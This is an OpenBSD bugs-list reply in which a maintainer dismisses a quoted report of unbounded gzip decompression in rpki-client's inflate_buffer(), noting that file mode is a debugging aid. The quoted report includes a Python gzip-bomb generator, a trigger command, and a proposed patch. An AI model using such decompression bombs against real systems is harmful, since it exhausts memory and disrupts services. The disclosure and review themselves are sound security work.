Re: Unbounded decompression in inflate_buffer()

Claudio Jeker <[email protected]>
Newsgroups gmane.os.openbsd.bugs
Message-ID <[email protected]>
On Wed, Apr 08, 2026 at 10:57:09PM -0400, Daniel Anderson wrote:
> BUG REPORT: Unbounded decompression in inflate_buffer()
> ========================================================
> 
> Component:  rpki-client
> File:       usr.sbin/rpki-client/encoding.c, inflate_buffer(), lines 84-129
> Version:    Current (as of 2026-04-06)
> Severity:   Medium (CVSS 5.5)
> Category:   Missing output size limit — OOM crash via gzip bomb
> Privsep:    proc_parser (when invoked via filemode -f)
> 
> 1. DESCRIPTION
> --------------
> 
> inflate_buffer() decompresses gzip data in a loop with no ceiling on the
> output size. The function grows its output buffer indefinitely until either
> decompression completes or the system runs out of memory.
> 
> Buggy code in encoding.c, lines 84-129:
> 
>     unsigned char *
>     inflate_buffer(uint8_t *inbuf, size_t inlen, size_t *outlen)
>     {
>         z_stream zs;
>         uint8_t *buf = NULL, *nbuf;
>         size_t buf_len;
>         int zret;
> 
>         memset(&zs, 0, sizeof(zs));
> 
>         zs.avail_in = inlen;
>         zs.next_in = inbuf;
> 
>         if (inflateInit2(&zs, MAX_WBITS + 16) != Z_OK)
>             goto err;
> 
>         buf_len = inlen * 2;
>         do {
>             buf_len += GZIP_CHUNK_SIZE;         /* +32KB each iteration */
>             if ((nbuf = realloc(buf, buf_len)) == NULL)
>                 err(1, NULL);                   /* OOM = fatal process exit */
>             buf = nbuf;
>             zs.next_out = buf + zs.total_out;
>             zs.avail_out = buf_len - zs.total_out;
> 
>             zret = inflate(&zs, Z_NO_FLUSH);
>             if (zret != Z_OK && zret != Z_STREAM_END)
>                 goto err;
>         } while (zs.avail_out == 0);            /* no size limit check */
> 
>         ...
>     }
> 
> There is no check comparing zs.total_out (or buf_len) against
> MAX_FILE_SIZE (8,000,000, defined at extern.h line 1051) or any other
> upper bound.

MAX_FILE_SIZE is extra ignored in file-mode. file-mode is a debugging aid
and is not limited by this constraint. Especially compressed CCR files are
larger than MAX_FILE_SIZE.

This is a lot of text for nothing.
 
> Additionally, load_file() in the same file (line 51) intentionally
> skips the MAX_FILE_SIZE check when in filemode:
> 
>     if (st.st_size <= 0 || (!filemode && st.st_size > MAX_FILE_SIZE)) {
> 
> This means both the compressed input AND the decompressed output are
> unbounded when running in filemode.
> 
> REACHABILITY:
> 
> inflate_buffer() is called from exactly one location:
> 
>   - filemode.c:464, inside proc_parser_file():
> 
>         if (rtype_from_file_extension(file) == RTYPE_GZ) {
>             ...
>             if ((full_buf = inflate_buffer(buf, len, &full_len)) == NULL) {
>                 warnx("%s: gzip decompression failed", file);
>                 goto out;
>             }
>             ...
>         }
> 
> This is reached only when rpki-client is invoked with the -f flag
> (manual file inspection mode). The daemon mode uses separate, bounded
> decompression paths:
>   - http.c: http_inflate_data() / http_inflate_advance() (writes to disk,
>     checks conn->totalsz against a 1MB limit)
>   - rrdp_util.c:84: checks outlen against MAX_FILE_SIZE
> 
> Therefore this bug is NOT exploitable in normal daemon operation. It
> affects only the -f diagnostic mode.
> 
> 
> 2. PROOF OF CONCEPT
> --------------------
> 
> Create a gzip bomb — a small compressed file that expands to gigabytes:
> 
>     #!/usr/bin/env python3
>     """Generate a gzip bomb that decompresses to ~1GB from ~1MB."""
>     import gzip
>     import os
> 
>     output_file = "poc-gzip-bomb.roa.gz"
> 
>     # 1GB of zero bytes compresses to approximately 1MB
>     target_size = 1024 * 1024 * 1024  # 1 GB
>     chunk = b'\x00' * (1024 * 1024)   # 1 MB chunks of zeros
> 
>     with gzip.open(output_file, 'wb', compresslevel=9) as f:
>         written = 0
>         while written < target_size:
>             f.write(chunk)
>             written += len(chunk)
> 
>     compressed_size = os.path.getsize(output_file)
>     print(f"Created {output_file}: {compressed_size} bytes compressed")
>     print(f"Decompresses to: {target_size} bytes ({target_size // 1024 // 1024} MB)")
> 
> Then run rpki-client in filemode:
> 
>     $ rpki-client -f poc-gzip-bomb.roa.gz
> 
> Expected behavior:
>   rpki-client should reject the file when the decompressed output
>   exceeds MAX_FILE_SIZE (8MB).
> 
> Actual behavior:
>   inflate_buffer() allocates memory in 32KB increments until the system
>   runs out of memory, at which point realloc() returns NULL and
>   err(1, NULL) terminates the process with:
> 
>       rpki-client: (null)
> 
>   On a memory-constrained system, this may trigger the OOM killer and
>   affect other processes.
> 
> The included poc-ob002-gzip-bomb.py generates the test file:
> 
>     $ python3 poc-ob002-gzip-bomb.py
>     OB-002 POC: Creating gzip bomb
>       Target decompressed size: 100 MB
>       MAX_FILE_SIZE limit:      8 MB
> 
>     Created: poc-gzip-bomb.mft.gz
>       Compressed size:   101,959 bytes (99 KB)
>       Decompressed size: 104,857,600 bytes (100 MB)
>       Compression ratio: 1028:1
> 
>     To trigger the bug (on OpenBSD with rpki-client installed):
>       rpki-client -f poc-gzip-bomb.mft.gz
> 
> 99 KB on disk, 100 MB when decompressed — 12.5x MAX_FILE_SIZE.
> inflate_buffer() will allocate all 100 MB with no check.
> 
> 
> 3. SUGGESTED FIX
> -----------------
> 
> Add a MAX_FILE_SIZE ceiling inside the decompression loop. This mirrors
> the existing pattern in rrdp_util.c (line 84) and the MAX_FILE_SIZE
> check in load_file() (line 51). The existing `err` label at line 125
> already calls inflateEnd() and frees the buffer before returning NULL,
> so cleanup is handled:
> 
> --- a/usr.sbin/rpki-client/encoding.c
> +++ b/usr.sbin/rpki-client/encoding.c
> @@ -99,6 +99,10 @@ inflate_buffer(uint8_t *inbuf, size_t inlen, size_t *outlen)
> 
>  	buf_len = inlen * 2;
>  	do {
> +		if (zs.total_out > MAX_FILE_SIZE) {
> +			warnx("inflate: output too large");
> +			goto err;
> +		}
>  		buf_len += GZIP_CHUNK_SIZE;
>  		if ((nbuf = realloc(buf, buf_len)) == NULL)
>  			err(1, NULL);
> 
> The caller in filemode.c already handles the NULL return:
> 
>     if ((full_buf = inflate_buffer(buf, len, &full_len)) == NULL) {
>         warnx("%s: gzip decompression failed", file);
>         goto out;
>     }
> 

-- 
:wq Claudio
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.